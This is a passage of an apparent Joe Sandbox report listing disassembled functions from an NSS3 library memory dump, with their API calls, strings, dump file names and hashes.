Part of subcall function 6C6C2AE0: PORT_Strdup_Util.NSS3(?,?,?,?,?,6C6C0A1B,00000000), ref: 6C6C2AF0
Part of subcall function 6C6C2AE0: tolower.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C6C2B11

CERT_DestroyCertList.NSS3(00000000), ref: 6C6EAD5E

Part of subcall function 6C7057D0: PK11_GetAllTokens.NSS3(000000FF,00000000,00000000,6C6CB41E,00000000,00000000,?,00000000,?,6C6CB41E,00000000,00000000,00000001,?), ref: 6C7057E0
Part of subcall function 6C7057D0: free.MOZGLUE(00000000,00000000,00000000,00000001,?), ref: 6C705843

CERT_DestroyCertList.NSS3(?), ref: 6C6EAD36

Part of subcall function 6C6C2F50: CERT_DestroyCertificate.NSS3(?), ref: 6C6C2F65
Part of subcall function 6C6C2F50: PORT_FreeArena_Util.NSS3(?,00000000), ref: 6C6C2F83

free.MOZGLUE(?), ref: 6C6EAD4F

Memory Dump Source

Source File: 00000000.00000002.2593081401.000000006C641000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C640000, based on PE: true

Associated: 00000000.00000002.2593045689.000000006C640000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593243941.000000006C7DF000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593291452.000000006C81E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593310291.000000006C81F000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593328141.000000006C820000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593350772.000000006C825000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c640000_file.jbxd

Similarity

API ID: Util$CertDestroyList$Arena_free$Alloc_ArenaCertificateFreeK11_Strdup_Tokenstolower
String ID:
API String ID: 132756963-0
Opcode ID: a1f94507175bd7928d73c9c0ba7cb16c8bb049824c5d483e683e9d32aa1fe049
Instruction ID: c2e9d4d9bcf033465b6fdd85a221f12e1e1eba14f2869a161b3e956d52442ab0
Opcode Fuzzy Hash: a1f94507175bd7928d73c9c0ba7cb16c8bb049824c5d483e683e9d32aa1fe049
Instruction Fuzzy Hash: 1621C6B1D011088BEB11DF64D8095EE7BF4EF49218F154079D815B7701FB31AA59CBEA

Function 6C713C80 Relevance: 6.1, APIs: 4, Instructions: 65COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6C713C9E
EnterCriticalSection.KERNEL32(?), ref: 6C713CAE
PR_Unlock.NSS3(?), ref: 6C713CEA
PR_SetError.NSS3(00000000,00000000), ref: 6C713D02

Memory Dump Source

Source File: 00000000.00000002.2593081401.000000006C641000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C640000, based on PE: true

Associated: 00000000.00000002.2593045689.000000006C640000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593243941.000000006C7DF000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593291452.000000006C81E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593310291.000000006C81F000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593328141.000000006C820000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593350772.000000006C825000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c640000_file.jbxd

Similarity

API ID: CriticalEnterErrorSectionUnlockValue
String ID:
API String ID: 284873373-0
Opcode ID: 4caf7a76a38b8921f96df9152ace3ba4481567c78a25fdd58a355a627ec14134
Instruction ID: 57a8cb59eed4343185c9058b09de416a962bd2eee46f84817f6b89bc0486da2a
Opcode Fuzzy Hash: 4caf7a76a38b8921f96df9152ace3ba4481567c78a25fdd58a355a627ec14134
Instruction Fuzzy Hash: 4911D679A04204AFDB00AF24DD49E9A37B8EF49368F198071EC049BB12E731ED54CBE1

Function 6C71ECB0 Relevance: 6.1, APIs: 4, Instructions: 64memoryCOMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000800,?,00000001,?,6C71F0AD,6C71F150,?,6C71F150,?,?,?), ref: 6C71ECBA

Part of subcall function 6C720FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6C6C87ED,00000800,6C6BEF74,00000000), ref: 6C721000
Part of subcall function 6C720FF0: PR_NewLock.NSS3(?,00000800,6C6BEF74,00000000), ref: 6C721016
Part of subcall function 6C720FF0: PL_InitArenaPool.NSS3(00000000,security,6C6C87ED,00000008,?,00000800,6C6BEF74,00000000), ref: 6C72102B

PORT_ArenaAlloc_Util.NSS3(00000000,00000028,?,?,?), ref: 6C71ECD1

Part of subcall function 6C7210C0: TlsGetValue.KERNEL32(?,6C6C8802,00000000,00000008,?,6C6BEF74,00000000), ref: 6C7210F3
Part of subcall function 6C7210C0: EnterCriticalSection.KERNEL32(?,?,6C6C8802,00000000,00000008,?,6C6BEF74,00000000), ref: 6C72110C
Part of subcall function 6C7210C0: PL_ArenaAllocate.NSS3(?,?,?,6C6C8802,00000000,00000008,?,6C6BEF74,00000000), ref: 6C721141
Part of subcall function 6C7210C0: PR_Unlock.NSS3(?,?,?,6C6C8802,00000000,00000008,?,6C6BEF74,00000000), ref: 6C721182
Part of subcall function 6C7210C0: TlsGetValue.KERNEL32(?,6C6C8802,00000000,00000008,?,6C6BEF74,00000000), ref: 6C72119C

PORT_ArenaAlloc_Util.NSS3(00000000,0000003C,?,?,?,?,?), ref: 6C71ED02

Part of subcall function 6C7210C0: PL_ArenaAllocate.NSS3(?,6C6C8802,00000000,00000008,?,6C6BEF74,00000000), ref: 6C72116E

PORT_FreeArena_Util.NSS3(00000000,00000000,?,?,?,?,?), ref: 6C71ED5A

Memory Dump Source

Source File: 00000000.00000002.2593081401.000000006C641000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C640000, based on PE: true

Associated: 00000000.00000002.2593045689.000000006C640000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593243941.000000006C7DF000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593291452.000000006C81E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593310291.000000006C81F000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593328141.000000006C820000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593350772.000000006C825000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c640000_file.jbxd

Similarity

API ID: Arena$Util$Alloc_AllocateArena_Value$CriticalEnterFreeInitLockPoolSectionUnlockcalloc
String ID:
API String ID: 2957673229-0
Opcode ID: fde359a11de0bfe4845df7f2d5157b0e79017d69c9f1ce55be8417e26a882dd5
Instruction ID: a6361cc2219b3e2021ef4ad2c932dd2495fca8bf08d88202c70532ac96f42d42
Opcode Fuzzy Hash: fde359a11de0bfe4845df7f2d5157b0e79017d69c9f1ce55be8417e26a882dd5
Instruction Fuzzy Hash: 4221C2B1A147425BE700CF25DA4DB52B7E4BFA4308F19C225A81C87E61E770E594C7D0

Function 6C74EDB0 Relevance: 6.1, APIs: 4, Instructions: 62memoryCOMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE013,00000000,00000000,00000000,6C737FFA,?,6C739767,?,8B7874C0,0000A48E), ref: 6C74EDD4
realloc.MOZGLUE(C7C1920F,?,00000000,00000000,6C737FFA,?,6C739767,?,8B7874C0,0000A48E), ref: 6C74EDFD
PORT_Alloc_Util.NSS3(?,00000000,00000000,6C737FFA,?,6C739767,?,8B7874C0,0000A48E), ref: 6C74EE14

Part of subcall function 6C720BE0: malloc.MOZGLUE(6C718D2D,?,00000000,?), ref: 6C720BF8
Part of subcall function 6C720BE0: TlsGetValue.KERNEL32(6C718D2D,?,00000000,?), ref: 6C720C15

memcpy.VCRUNTIME140(?,?,6C739767,00000000,00000000,6C737FFA,?,6C739767,?,8B7874C0,0000A48E), ref: 6C74EE33

Memory Dump Source

Source File: 00000000.00000002.2593081401.000000006C641000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C640000, based on PE: true

Associated: 00000000.00000002.2593045689.000000006C640000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593243941.000000006C7DF000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593291452.000000006C81E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593310291.000000006C81F000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593328141.000000006C820000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593350772.000000006C825000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c640000_file.jbxd

Similarity

API ID: Alloc_ErrorUtilValuemallocmemcpyrealloc
String ID:
API String ID: 3903481028-0
Opcode ID: b21b416ea7b71c186ec1f9338c5336db89d207086efe8a264d125eb5eaa37992
Instruction ID: adc559883590d12db6d6f27bc344d9ba477ca91522ab71d98ecc9364e3b06ca8
Opcode Fuzzy Hash: b21b416ea7b71c186ec1f9338c5336db89d207086efe8a264d125eb5eaa37992
Instruction Fuzzy Hash: AC1177B190071AABE710DE65DE89F46F3ACEB0436DF148535ED1986A41E331F454CBE1

Function 6C6E8DD0 Relevance: 6.1, APIs: 4, Instructions: 53COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6C6E8DE7
EnterCriticalSection.KERNEL32 ref: 6C6E8DFC
PR_Unlock.NSS3 ref: 6C6E8E2D
PR_SetError.NSS3 ref: 6C6E8E49

Memory Dump Source

Source File: 00000000.00000002.2593081401.000000006C641000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C640000, based on PE: true

Associated: 00000000.00000002.2593045689.000000006C640000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593243941.000000006C7DF000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593291452.000000006C81E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593310291.000000006C81F000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593328141.000000006C820000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593350772.000000006C825000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c640000_file.jbxd

Similarity

API ID: CriticalEnterErrorSectionUnlockValue
String ID:
API String ID: 284873373-0
Opcode ID: e79968e92b9197d79f6dbe2a48f886e8d8438a5ecf38dab8f4723611a4deca84
Instruction ID: 49c585734bacefa3d53e2f16fce3a0a7531877f3cde303474ca962231b6bed0b
Opcode Fuzzy Hash: e79968e92b9197d79f6dbe2a48f886e8d8438a5ecf38dab8f4723611a4deca84
Instruction Fuzzy Hash: BF116DB16096019BD700AF78C548599BBF4BF49354F01492ADC88D7B00E730E894CBD6

Function 6C76AC70 Relevance: 6.0, APIs: 4, Instructions: 49COMMON

Download Yara Rule

APIs

PR_DestroyMonitor.NSS3(000A34B6,00000000,00000678,?,6C755F17,?,?,?,?,?,?,?,?,6C75AAD4), ref: 6C76AC94
PK11_FreeSymKey.NSS3(08C483FF,00000000,00000678,?,6C755F17,?,?,?,?,?,?,?,?,6C75AAD4), ref: 6C76ACA6
free.MOZGLUE(20868D04,?,?,?,?,?,?,?,?,6C75AAD4), ref: 6C76ACC0
free.MOZGLUE(04C48300,?,?,?,?,?,?,?,?,6C75AAD4), ref: 6C76ACDB

Memory Dump Source

Source File: 00000000.00000002.2593081401.000000006C641000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C640000, based on PE: true

Associated: 00000000.00000002.2593045689.000000006C640000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593243941.000000006C7DF000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593291452.000000006C81E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593310291.000000006C81F000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593328141.000000006C820000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593350772.000000006C825000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c640000_file.jbxd

Similarity

API ID: free$DestroyFreeK11_Monitor
String ID:
API String ID: 3989322779-0
Opcode ID: 0522a29767355bddc0815641628ca61287a01d058e7fa7469757315f9ed4a6f7
Instruction ID: 59cffe0bf05b4af738e09a780e4b2a2c9f7a6fa9263f638a3d439802444050f7
Opcode Fuzzy Hash: 0522a29767355bddc0815641628ca61287a01d058e7fa7469757315f9ed4a6f7
Instruction Fuzzy Hash: 4C0129B1601B129BE760DF2ADA09653B7E8BB00769B104839D85AD3E00E731E054CBD1

Function 6C6D1DD0 Relevance: 6.0, APIs: 4, Instructions: 48COMMON

Download Yara Rule

APIs

CERT_DestroyCertificate.NSS3(?), ref: 6C6D1DFB

Part of subcall function 6C6C95B0: TlsGetValue.KERNEL32(00000000,?,6C6E00D2,00000000), ref: 6C6C95D2
Part of subcall function 6C6C95B0: EnterCriticalSection.KERNEL32(?,?,?,6C6E00D2,00000000), ref: 6C6C95E7
Part of subcall function 6C6C95B0: PR_Unlock.NSS3(?,?,?,?,6C6E00D2,00000000), ref: 6C6C9605

PR_EnterMonitor.NSS3 ref: 6C6D1E09

Part of subcall function 6C789090: TlsGetValue.KERNEL32 ref: 6C7890AB
Part of subcall function 6C789090: TlsGetValue.KERNEL32 ref: 6C7890C9
Part of subcall function 6C789090: EnterCriticalSection.KERNEL32 ref: 6C7890E5
Part of subcall function 6C789090: TlsGetValue.KERNEL32 ref: 6C789116
Part of subcall function 6C789090: LeaveCriticalSection.KERNEL32 ref: 6C78913F

Part of subcall function 6C6CE190: PR_EnterMonitor.NSS3(?,?,6C6CE175), ref: 6C6CE19C
Part of subcall function 6C6CE190: PR_EnterMonitor.NSS3(6C6CE175), ref: 6C6CE1AA
Part of subcall function 6C6CE190: PR_ExitMonitor.NSS3 ref: 6C6CE208
Part of subcall function 6C6CE190: PL_HashTableRemove.NSS3(?), ref: 6C6CE219
Part of subcall function 6C6CE190: PORT_FreeArena_Util.NSS3(?,00000000), ref: 6C6CE231
Part of subcall function 6C6CE190: PORT_FreeArena_Util.NSS3(?,00000000), ref: 6C6CE249
Part of subcall function 6C6CE190: PR_ExitMonitor.NSS3 ref: 6C6CE257

PR_SetError.NSS3(FFFFE005,00000000), ref: 6C6D1E37
PR_ExitMonitor.NSS3 ref: 6C6D1E4A

Memory Dump Source

Source File: 00000000.00000002.2593081401.000000006C641000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C640000, based on PE: true

Associated: 00000000.00000002.2593045689.000000006C640000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593243941.000000006C7DF000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593291452.000000006C81E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593310291.000000006C81F000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593328141.000000006C820000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593350772.000000006C825000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c640000_file.jbxd

Similarity

API ID: Monitor$Enter$Value$CriticalExitSection$Arena_FreeUtil$CertificateDestroyErrorHashLeaveRemoveTableUnlock
String ID:
API String ID: 499896158-0
Opcode ID: c309d8b5f24d19bb1c8887971ae5e6441c1d85c9e58ec9a97ccd206e3e4fa34b
Instruction ID: 8090b65f760dc0475be17e85b295ec4defe22155f29424a3ab93a22a4f0a0c2a
Opcode Fuzzy Hash: c309d8b5f24d19bb1c8887971ae5e6441c1d85c9e58ec9a97ccd206e3e4fa34b
Instruction Fuzzy Hash: 99012B71B0115297EB104B65DC08F567774AB4176CF124030D91997F51E7B1F816CBDA

Function 6C6D1D50 Relevance: 6.0, APIs: 4, Instructions: 47memoryCOMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE005,00000000), ref: 6C6D1D75
PORT_ZAlloc_Util.NSS3(0000000C), ref: 6C6D1D89
PORT_ZAlloc_Util.NSS3(00000010), ref: 6C6D1D9C
free.MOZGLUE(00000000), ref: 6C6D1DB8

Memory Dump Source

Source File: 00000000.00000002.2593081401.000000006C641000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C640000, based on PE: true

Associated: 00000000.00000002.2593045689.000000006C640000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593243941.000000006C7DF000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593291452.000000006C81E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593310291.000000006C81F000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593328141.000000006C820000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593350772.000000006C825000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c640000_file.jbxd

Similarity

API ID: Alloc_Util$Errorfree
String ID:
API String ID: 939066016-0
Opcode ID: 445a7c37931c801e896c5615bb6bf2913f5913caa31edee9ecc264dc68ff3e70
Instruction ID: 54e75505925295771bb0f759fd5f8bc2f130f939198814f6692db72d40e8eb84
Opcode Fuzzy Hash: 445a7c37931c801e896c5615bb6bf2913f5913caa31edee9ecc264dc68ff3e70
Instruction Fuzzy Hash: FCF0F9B2A4125457FF101F595C46B8736D89F817A8F120235DD1D87F41D7B0F404C6EA

Function 6C71FD80 Relevance: 6.0, APIs: 4, Instructions: 43memoryCOMMON

Download Yara Rule

APIs

PORT_Alloc_Util.NSS3(0000000C,?,?,00000001,?,6C6C9003,?), ref: 6C71FD91

Part of subcall function 6C720BE0: malloc.MOZGLUE(6C718D2D,?,00000000,?), ref: 6C720BF8
Part of subcall function 6C720BE0: TlsGetValue.KERNEL32(6C718D2D,?,00000000,?), ref: 6C720C15

PORT_Alloc_Util.NSS3(A4686C72,?), ref: 6C71FDA2
memcpy.VCRUNTIME140(00000000,12D068C3,A4686C72,?,?), ref: 6C71FDC4
free.MOZGLUE(00000000,?,?), ref: 6C71FDD1

Memory Dump Source

Source File: 00000000.00000002.2593081401.000000006C641000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C640000, based on PE: true

Associated: 00000000.00000002.2593045689.000000006C640000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593243941.000000006C7DF000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593291452.000000006C81E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593310291.000000006C81F000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593328141.000000006C820000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593350772.000000006C825000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c640000_file.jbxd

Similarity

API ID: Alloc_Util$Valuefreemallocmemcpy
String ID:
API String ID: 2335489644-0
Opcode ID: 4a20ce3b7aa4f5fa82706039f9ffbc2a95dbc329af744a4f8af95ab8f0f3e171
Instruction ID: 808b32d66a7efb01028f4a785a4c169784f1cf70ddb9955a7ff30ec5925156cc
Opcode Fuzzy Hash: 4a20ce3b7aa4f5fa82706039f9ffbc2a95dbc329af744a4f8af95ab8f0f3e171
Instruction Fuzzy Hash: 10F0FCF16152425BEB004F55DEA6937B798EF44299B188035ED0D8BF42E721D814C7F2

Function 6C7DCC50 Relevance: 6.0, APIs: 4, Instructions: 29COMMON

Download Yara Rule

APIs

DeleteCriticalSection.KERNEL32(?), ref: 6C7DCC61
free.MOZGLUE ref: 6C7DCC6E
DeleteCriticalSection.KERNEL32(?), ref: 6C7DCC80
free.MOZGLUE(?), ref: 6C7DCC87

Memory Dump Source

Source File: 00000000.00000002.2593081401.000000006C641000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C640000, based on PE: true

Associated: 00000000.00000002.2593045689.000000006C640000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593243941.000000006C7DF000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593291452.000000006C81E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593310291.000000006C81F000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593328141.000000006C820000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593350772.000000006C825000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c640000_file.jbxd

Similarity

API ID: CriticalDeleteSectionfree
String ID:
API String ID: 2988086103-0
Opcode ID: a0eef537ffe687199d472d13b970c07859c8a6f1b54384223c60cd6c05b0c33e
Instruction ID: f4e141b60e092ddd9c50438e4316a841ea751dbaeaa4d98dc3a352f427d49037
Opcode Fuzzy Hash: a0eef537ffe687199d472d13b970c07859c8a6f1b54384223c60cd6c05b0c33e
Instruction Fuzzy Hash: 6FE030B6700609ABCA10EFA9DC4588677ECEE492743150535E691C3701D231F905CBE1

Function 6C6B9DC0 Relevance: 5.5, APIs: 1, Strings: 2, Instructions: 220COMMON

Download Yara Rule

APIs

sqlite3_value_text.NSS3 ref: 6C6B9E1F

Part of subcall function 6C6713C0: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,6C642352,?,00000000,?,?), ref: 6C671413
Part of subcall function 6C6713C0: memcpy.VCRUNTIME140(00000000,R#dl,00000002,?,?,?,?,6C642352,?,00000000,?,?), ref: 6C6714C0

Strings

ESCAPE expression must be a single character, xrefs: 6C6B9F78
LIKE or GLOB pattern too complex, xrefs: 6C6BA006

Memory Dump Source

Source File: 00000000.00000002.2593081401.000000006C641000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C640000, based on PE: true

Associated: 00000000.00000002.2593045689.000000006C640000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593243941.000000006C7DF000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593291452.000000006C81E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593310291.000000006C81F000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593328141.000000006C820000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593350772.000000006C825000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c640000_file.jbxd

Similarity

API ID: memcpysqlite3_value_textstrlen
String ID: ESCAPE expression must be a single character$LIKE or GLOB pattern too complex
API String ID: 2453365862-264706735
Opcode ID: 72437bcfc4f6f3f15c6bab5734e24727e227861f0334626832866e97166e5417
Instruction ID: 1464c6e8a726c4514a11604c399dbc19f7829c92e2c46738b14eef7012b1d3b4
Opcode Fuzzy Hash: 72437bcfc4f6f3f15c6bab5734e24727e227861f0334626832866e97166e5417
Instruction Fuzzy Hash: A1812B71A042518BD700CF39C0913EAB7F6AF5632CF28C659D8A8ABB81D736D857C794

Function 6C714D10 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 106COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE001,00000000), ref: 6C714D57
PR_snprintf.NSS3(?,00000008,%d.%d,?,?), ref: 6C714DE6

Strings

%d.%d, xrefs: 6C714DDE

Memory Dump Source

Source File: 00000000.00000002.2593081401.000000006C641000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C640000, based on PE: true

Associated: 00000000.00000002.2593045689.000000006C640000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593243941.000000006C7DF000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593291452.000000006C81E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593310291.000000006C81F000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593328141.000000006C820000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593350772.000000006C825000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c640000_file.jbxd

Similarity

API ID: ErrorR_snprintf
String ID: %d.%d
API String ID: 2298970422-3954714993
Opcode ID: 2e725535ed53b5ef077401212c624750c4b6f3ca0120be7e29cdff79101c51ea
Instruction ID: 74cf0543550214aa55da08a08debf0c3b61b4c2895cc4505a320febaf94262c8
Opcode Fuzzy Hash: 2e725535ed53b5ef077401212c624750c4b6f3ca0120be7e29cdff79101c51ea
Instruction Fuzzy Hash: 5631DBB2D082186BEB105B619D4ABFF7778EF45308F090439ED559BB41EB309905CBE1

Function 6C734CF0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 43COMMON

Download Yara Rule

APIs

SECOID_FindOIDByTag_Util.NSS3('8sl,00000000,00000000,?,?,6C733827,?,00000000), ref: 6C734D0A

Part of subcall function 6C720840: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6C7208B4

SECITEM_ItemsAreEqual_Util.NSS3(00000000,00000000,00000000), ref: 6C734D22

Part of subcall function 6C71FD30: memcmp.VCRUNTIME140(?,AF840FC0,8B000000,?,6C6C1A3E,00000048,00000054), ref: 6C71FD56

Strings

'8sl, xrefs: 6C734D07

Memory Dump Source

Source File: 00000000.00000002.2593081401.000000006C641000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C640000, based on PE: true

Associated: 00000000.00000002.2593045689.000000006C640000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593243941.000000006C7DF000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593291452.000000006C81E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593310291.000000006C81F000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593328141.000000006C820000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593350772.000000006C825000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c640000_file.jbxd

Similarity

API ID: Util$Equal_ErrorFindItemsTag_memcmp
String ID: '8sl
API String ID: 1521942269-1993341941
Opcode ID: 14028aa1c084b1134f31e0fe545c68cf4cce508ec734b29011f619df16d7203e
Instruction ID: bd31e424c13dd179e3d81c85bf402cde9b8403c782b0437d97e806251b7864ca
Opcode Fuzzy Hash: 14028aa1c084b1134f31e0fe545c68cf4cce508ec734b29011f619df16d7203e
Instruction Fuzzy Hash: EAF09C7261113457DB154D6AAE467433ADCDB4167DF1412B1DE1CCB782EA33CC00D6E1

Function 6C720DB0 Relevance: 5.1, APIs: 4, Instructions: 97COMMON

Download Yara Rule

APIs

calloc.MOZGLUE ref: 6C720DF5
TlsGetValue.KERNEL32 ref: 6C720E2D
TlsGetValue.KERNEL32 ref: 6C720E58
TlsGetValue.KERNEL32 ref: 6C720E84

Memory Dump Source

Source File: 00000000.00000002.2593081401.000000006C641000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C640000, based on PE: true

Associated: 00000000.00000002.2593045689.000000006C640000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593243941.000000006C7DF000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593291452.000000006C81E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593310291.000000006C81F000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593328141.000000006C820000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593350772.000000006C825000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c640000_file.jbxd

Similarity

API ID: Value$calloc
String ID:
API String ID: 3339632435-0
Opcode ID: 349dcfc318f7db9515d1e49ff86e3fba26a035fef8eaf67125430f3bc626f776
Instruction ID: a71265e5ce00806a29010d022aafc3dc310a1432bd622c86f9f503a6079ac7dd
Opcode Fuzzy Hash: 349dcfc318f7db9515d1e49ff86e3fba26a035fef8eaf67125430f3bc626f776
Instruction Fuzzy Hash: 8F31E3B0A043858BEB107F38C6996597BB8BF0630CF114639D89887A11DB38D4D5CBE5

Function 6C6D1EB0 Relevance: 5.0, APIs: 4, Instructions: 38COMMON

Download Yara Rule

APIs

free.MOZGLUE(?), ref: 6C6D1ECE
free.MOZGLUE(?), ref: 6C6D1EDF
free.MOZGLUE(?), ref: 6C6D1EEF
free.MOZGLUE(?), ref: 6C6D1EF5

Memory Dump Source

